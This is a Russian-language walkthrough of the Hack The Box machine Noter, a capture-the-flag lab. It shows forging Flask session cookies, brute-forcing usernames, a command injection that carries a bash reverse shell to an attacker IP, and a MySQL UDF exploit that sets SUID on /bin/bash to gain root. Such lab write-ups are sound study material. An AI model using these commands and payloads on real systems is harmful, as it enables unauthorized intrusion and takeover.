HTB Noter. Ломаем веб-приложение на Flask
В этом райтапе мы обойдем авторизацию в приложении на Flask, затем изучим исходные коды приложения, чтобы найти и проэксплуатировать уязвимость. Для повышения привилегий используем уязвимость установки плагина в MySQL.
Наша цель — прохождение средней по сложности машины Noter с площадки Hack The Box.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts
:
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A
).
Нашлось три открытых порта:
Анонимный вход на FTP закрыт, с SSH мы ничего не сделаем, поэтому идем смотреть веб.
ТОЧКА ВХОДА
На сайте есть возможность регистрироваться и авторизоваться, чем мы обязательно должны воспользоваться.
Я всю работу выполняю через Burp, поэтому в идентификаторе сессии пользователя сразу заметил токен JWT.
JWT
JSON Web Token хранит необходимую информацию о текущем сеансе. В числе прочего в нем содержится HMAC — hash-based message authentication code, код авторизации на основе хеша. Его‑то нам и предстоит подделать.
Для работы с JWT будем использовать утилиту Flask-Unsign.
sudo pip3 install Flask==2.1.0 flask_unsign flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.fDwY2juxacH9LTQV7xx_RyGo8EM'
Для создания HMAC требуется секретный ключ. Если мы сумеем восстановить или взломать секретный ключ, то сможем вносить любые изменения в информацию о сеансе. С помощью Flask-Unsign можем попробовать пробрутить секрет.
flask-unsign --wordlist rockyou.txt --unsign --cookie 'eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoicmFsZiJ9.YvKLvw.fDwY2juxacH9LTQV7xx_RyGo8EM' --no-literal-eval
Мы получили секретный ключ, а значит, можем записать свои данные в сеанс, в данном случае сменить пользователя. Генерируем сессию, устанавливаем в браузере и обновляем страницу. Я попробовал пользователя admin
, но ничего не вышло.
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'admin'}" --secret 'secret123' --legacy
Скорее всего, такого пользователя не существует, поэтому нужно найти способ определить реальных пользователей. Сайт работает на Flask, к тому же предназначен для хранения заметок, поэтому первым делом я стал искать SSTI (включение шаблонов на стороне сервера) и XSS. Начал с создания заметки.
Затем я определил все места, где происходит вывод этого текста, но, к моему сожалению, везде используется экранирование.
Тест нагрузкой для XSS также не увенчался успехом. Тогда я решил посмотреть на механизм авторизации, а именно на сообщения, которые сервер отдаст в разных ситуациях. Иногда в таких случаях помогает определять время, которое затрачивается на проверку правильных и неправильных учетных данных. Но так далеко идти оказалось не нужно: сообщения для существующего и несуществующего пользователя оказались разными.
ТОЧКА ОПОРЫ
Вооружаемся Burp Intrueder и принимаемся за перебор.
Перекидываем запрос в Burp (Ctrl-I, Ctrl-Shift-I) и отмечаем для перебора логин.
Список имен пользователей берем из набора SecLists.
Устанавливаем 256 потоков (можно и больше).
В результирующую таблицу добавим еще один столбец, куда будет попадать сообщение об ошибке.
Для этого на вкладке Options перейдем к параметру Grep → Extract, найдем в ответе сервера сообщение об ошибке и установим флажок Extract from regex group.
Запускаем перебор и вскоре находим пользователя blue.
Теперь мы можем сгенерировать токен для найденного пользователя.
flask-unsign --sign --cookie "{'logged_in': True, 'username': 'blue'}" --secret 'secret123' --legacy
Применяем токен, обновляем страницу и получаем сессию целевого пользователя на сайте.
Сразу просмотрим записи пользователя.
В одной заметке мы находим учетные данные пользователя blue для службы FTP и имя еще одного пользователя — ftp_admin. Вторая заметка особого интереса не представляет.
Подключаемся к службе FTP с найденным паролем и просматриваем файлы.
Там всего один документ PDF, забираем его.
В PDF описана парольная политика. Нас интересует пункт 4 в графе Password Creation.
Таким образом, пароль формируется по маске:
По аналогии с паролем blue@Noter!
для пользователя blue мы можем составить пароль для пользователя ftp_admin — ftp_admin@Noter!
.
Подключившись c составленными учетными данными, получаем еще два файла бэкапов.
ПРОДВИЖЕНИЕ
Просматриваем исходные коды из бэкапов. В одном находим учетные данные для подключения к базе данных, а из второго раскрываем новые точки входа.
Так, через страницу /export_note_remote
можно выполнить команду в командной оболочке /bin/bash
. Команда формируется с использованием нашего пользовательского ввода, а именно содержимого заметки.
Эта страница принимает URL-адрес, на котором должна хоститься заметка. Поместим файл с реверс‑шеллом на своем сервере. При этом мы должны пройти шаблон, закрыть выполняемую команду node
и только потом выполнить бэкконнект.
--'; bash -i >& /dev/tcp/10.10.14.81/4321 0>&1; echo'--
И на открытый листенер (запущенный командой rlwrap nc -lvnp 4321
) мы получим бэкконнект.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Мы имеем учетные данные к MySQL, причем для привилегированного пользователя root. Но чтобы удобно работать с MySQL, нам нужно создать нормальную TTY-оболочку. Самый простой способ сделать это — использовать модуль pty для Python.
python3 -c "import pty; pty.spawn('/bin/bash')"
А теперь можем подключиться к базе.
mysql -h localhost -u root -pNildogg36
Так как мы работаем от имени рута, в продвижении нам поможет создание пользовательской функции MySQL. Если скомпилировать такую функцию в виде библиотеки, то ее можно будет вызывать как встроенную. Мы создадим функцию, которая будет вызывать команды операционной системы. Они выполнятся с теми же привилегиями, что и работающая служба, то есть в данном случае от имени root.
Первое, что стоит проверить, — это включена ли переменная secure_file_priv
. Она позволит нам разрешить операции импорта и экспорта данных — такие как функции load_file
и load_data
.
show variables like '%secure_file_priv%';
Значение равно null
, то есть переменная отключена, и мы можем загрузить данные в базу. Теперь нужно получить системный каталог с плагинами MySQL. Именно в него нам и нужно будет добавить библиотеку.
show variables like '%plugin%';
В качестве библиотеки используем готовый код, который нужно будет скомпилировать.
wget https://www.exploit-db.com/raw/1518 -O 1518.c gcc -g -c 1518.c gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o
Затем загружаем этот эксплоит на удаленный хост и с помощью MySQL копируем его в каталог с плагинами.
use mysql;create table foo(line blob);insert into foo values(load_file('/tmp/raptor_udf2.so'));select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Теперь создадим пользовательскую функцию do_system
. И сразу проверим, доступна ли она в MySQL.
create function do_system returns integer soname 'raptor_udf2.so';select * from mysql.func;
Теперь мы можем выполнять команды в привилегированном контексте. В качестве метода персистентности установим бит SUID файлу командной оболочки /bin/bash
.
select do_system('chmod u+s /bin/bash');
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
Команда успешно выполнена, а значит, мы можем запустить Bash в привилегированном контексте и забрать флаг рута.